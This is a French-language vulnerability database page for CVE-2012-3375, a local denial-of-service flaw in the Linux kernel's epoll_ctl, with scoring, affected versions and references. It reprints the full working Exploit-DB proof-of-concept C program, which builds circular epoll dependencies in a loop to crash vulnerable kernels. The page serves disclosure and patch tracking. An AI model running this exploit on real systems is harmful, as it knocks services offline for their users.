CVE-2012-3375 : Détail

CVE-2012-3375

0.05%V3
Local
2012-10-03
08h00 +00:00
2013-01-24
09h00 +00:00
CVE.org
NVD
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Descriptions du CVE

The epoll_ctl system call in fs/eventpoll.c in the Linux kernel before 3.2.24 does not properly handle ELOOP errors in EPOLL_CTL_ADD operations, which allows local users to cause a denial of service (file-descriptor consumption and system crash) via a crafted application that attempts to create a circular epoll dependency. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1083.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19605

Date de publication : 2012-07-04 22h00 +00:00
Auteur : Yurij M. Plotnikov
EDB Vérifié : Yes

/* The Linux Kernel is prone to a local denial-of-service vulnerability. Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users. */ #include <netinet/in.h> #include <sys/epoll.h> #include <errno.h> int main () { struct sockaddr_in addr; struct epoll_event event; int epfd1, epfd2, sock; int rc; int i = 0; while (1) { printf("ITERATION %d\n", ++i); epfd1 = epoll_create(1); printf("epoll_create() -> %d(%d)\n", epfd1, errno); epfd2 = epoll_create(1); printf("epoll_create() -> %d(%d)\n", epfd2, errno); sock = socket(PF_INET, SOCK_STREAM, 0); printf("socket() -> %d(%d)\n", sock, errno); addr.sin_family = AF_INET; addr.sin_port = 0; addr.sin_addr.s_addr = 0; rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr)); printf("bind() -> %d(%d)\n", rc, errno); rc = listen(sock, 1); printf("listen() -> %d(%d)\n", rc, errno); event.data.fd = sock; event.events = 0; rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); event.data.fd = epfd2; event.events = EPOLLIN; rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); event.data.fd = epfd1; event.events = EPOLLIN; rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); rc = close(epfd1); printf("close(epfd1) -> %d(%d)\n", rc, errno); rc = close(epfd2); printf("close(epfd2) -> %d(%d)\n", rc, errno); rc = close(sock); printf("close(sock) -> %d(%d)\n", rc, errno); sleep(1); printf("\n\n"); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.2.23

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

Références

http://www.securitytracker.com/id?1027237
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/51164
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2012/07/04/2
Tags : mailing-list, x_refsource_MLIST
http://ubuntu.com/usn/usn-1529-1
Tags : vendor-advisory, x_refsource_UBUNTU